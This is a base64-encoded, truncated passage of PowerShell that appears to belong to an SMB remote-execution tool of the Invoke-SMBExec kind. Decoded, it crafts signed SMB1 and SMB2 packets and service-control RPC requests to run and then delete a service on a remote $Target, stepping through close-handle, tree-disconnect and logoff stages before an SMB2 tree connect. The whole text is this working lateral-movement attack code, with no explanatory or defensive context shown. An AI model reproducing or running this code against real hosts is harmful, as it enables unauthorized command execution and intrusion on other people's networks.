U01CX2hlYWRlciArICRTTUJfZGF0YSArICRSUENfZGF0YSArICRTQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnUmVhZEFuZFhSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2VfbmV4dCA9ICdDbG9zZVNlcnZpY2VIYW5kbGUnDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2Nsb3NlX3NlcnZpY2VfaGFuZGxlX3N0YWdlID0gMQ0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgJ0Nsb3NlU2VydmljZUhhbmRsZScNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSAtZXEgMSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJTZXJ2aWNlICRTTUJfc2VydmljZSBkZWxldGVkIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSsrDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TQ01fZGF0YSA9IEdldC1QYWNrZXRTQ01DbG9zZVNlcnZpY2VIYW5kbGUgJFNNQl9zZXJ2aWNlX2NvbnRleHRfaGFuZGxlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnQ2xvc2VSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU0NNX2RhdGEgPSBHZXQtUGFja2V0U0NNQ2xvc2VTZXJ2aWNlSGFuZGxlICRTTUJfc2VydmljZV9tYW5hZ2VyX2NvbnRleHRfaGFuZGxlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4MmYgMHgxOCAweDA1LDB4MjggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRTTUJfc2lnbmluZ19zZXF1ZW5jZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFNNQl9zaWduaW5nX2NvdW50ZXIpICsgMHgwMCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduaW5nX3NlcXVlbmNlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTQ01fZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDX2RhdGEgPSBHZXQtUGFja2V0UlBDUmVxdWVzdCAweDAzICRTQ01fZGF0YS5sZW5ndGggMCAwIDB4MDUsMHgwMCwweDAwLDB4MDAgMHgwMCwweDAwIDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXIgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CV3JpdGVBbmRYUmVxdWVzdCAkU0NNX2RhdGEubGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhWyJTTUJXcml0ZUFuZFhSZXF1ZXN0X0ZJRCJdID0gJFNNQl9GSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGFfbGVuZ3RoID0gJFNNQl9kYXRhLkxlbmd0aCArICRTQ01fZGF0YS5MZW5ndGggKyAkUlBDX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CX2hlYWRlci5MZW5ndGggJFJQQ19kYXRhX2xlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduID0gJHNlc3Npb25fa2V5ICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25hdHVyZSA9ICRNRDUuQ29tcHV0ZUhhc2goJFNNQl9zaWduKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJFNNQl9zaWduYXR1cmVbMC4uN10NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmF0dXJlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhICsgJFJQQ19kYXRhICsgJFNDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnQ2xvc2VSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4MDQgMHgxOCAweDA3LDB4YzggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFNNQl9zaWduaW5nX3NlcXVlbmNlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkU01CX3NpZ25pbmdfY291bnRlcikgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25pbmdfc2VxdWVuY2UNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXIgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CQ2xvc2VSZXF1ZXN0IDB4MDAsMHg0MA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IEdldC1QYWNrZXROZXRCSU9TU2Vzc2lvblNlcnZpY2UgJFNNQl9oZWFkZXIuTGVuZ3RoICRTTUJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbiA9ICRzZXNzaW9uX2tleSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1RyZWVEaXNjb25uZWN0Jw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgJ1RyZWVEaXNjb25uZWN0Jw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4NzEgMHgxOCAweDA3LDB4YzggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFNNQl9zaWduaW5nX3NlcXVlbmNlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkU01CX3NpZ25pbmdfY291bnRlcikgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25pbmdfc2VxdWVuY2UNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXIgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CVHJlZURpc2Nvbm5lY3RSZXF1ZXN0DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CX2hlYWRlci5MZW5ndGggJFNNQl9kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduID0gJHNlc3Npb25fa2V5ICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkTUQ1LkNvbXB1dGVIYXNoKCRTTUJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25hdHVyZSA9ICRTTUJfc2lnbmF0dXJlWzAuLjddDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnTG9nb2ZmJw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgJ0xvZ29mZicNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyID0gR2V0LVBhY2tldFNNQkhlYWRlciAweDc0IDB4MTggMHgwNywweGM4IDB4MzQsMHhmZSAkcHJvY2Vzc19JRF9ieXRlcyAkU01CX3VzZXJfSUQNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX0ZsYWdzMiJdID0gMHgwNSwweDQ4DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nX2NvdW50ZXIgPSAkU01CX3NpZ25pbmdfY291bnRlciArIDIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kU01CX3NpZ25pbmdfc2VxdWVuY2UgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRTTUJfc2lnbmluZ19jb3VudGVyKSArIDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmluZ19zZXF1ZW5jZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlciAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfZGF0YSA9IEdldC1QYWNrZXRTTUJMb2dvZmZBbmRYUmVxdWVzdA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IEdldC1QYWNrZXROZXRCSU9TU2Vzc2lvblNlcnZpY2UgJFNNQl9oZWFkZXIuTGVuZ3RoICRTTUJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbiA9ICRzZXNzaW9uX2tleSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ0V4aXQnDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGlmKCRTTUJFeGVjX2ZhaWxlZCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIEJSRUFLIFNNQl9leGVjdXRlX2xvb3ANCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIH0NCg0KICAgICAgICB9ICANCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICANCiAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1RyZWVDb25uZWN0Jw0KDQogICAgICAgICAgICA6U01CX2V4ZWN1dGVfbG9vcCB3aGlsZSAoJFNNQl9jbGllbnRfc3RhZ2UgLW5lICdleGl0JykNCiAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgIHN3aXRjaCAoJFNNQl9jbGllbnRfc3RhZ2UpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICdUcmVlQ29ubmVjdCcNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfbWVzc2FnZV9JRCArPSAxDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwMywweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0ZsYWdzIl0gPSAweDA4LDB4MDAsMHgwMCwweDAwICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9kYXRhID0gR2V0LVBhY2tldFNNQjJUcmVlQ29ubmVjdFJlcXVlc3QgJFNNQl9wYXRoX2J5dGVzDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGEgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRTTUIyX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduID0gJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbn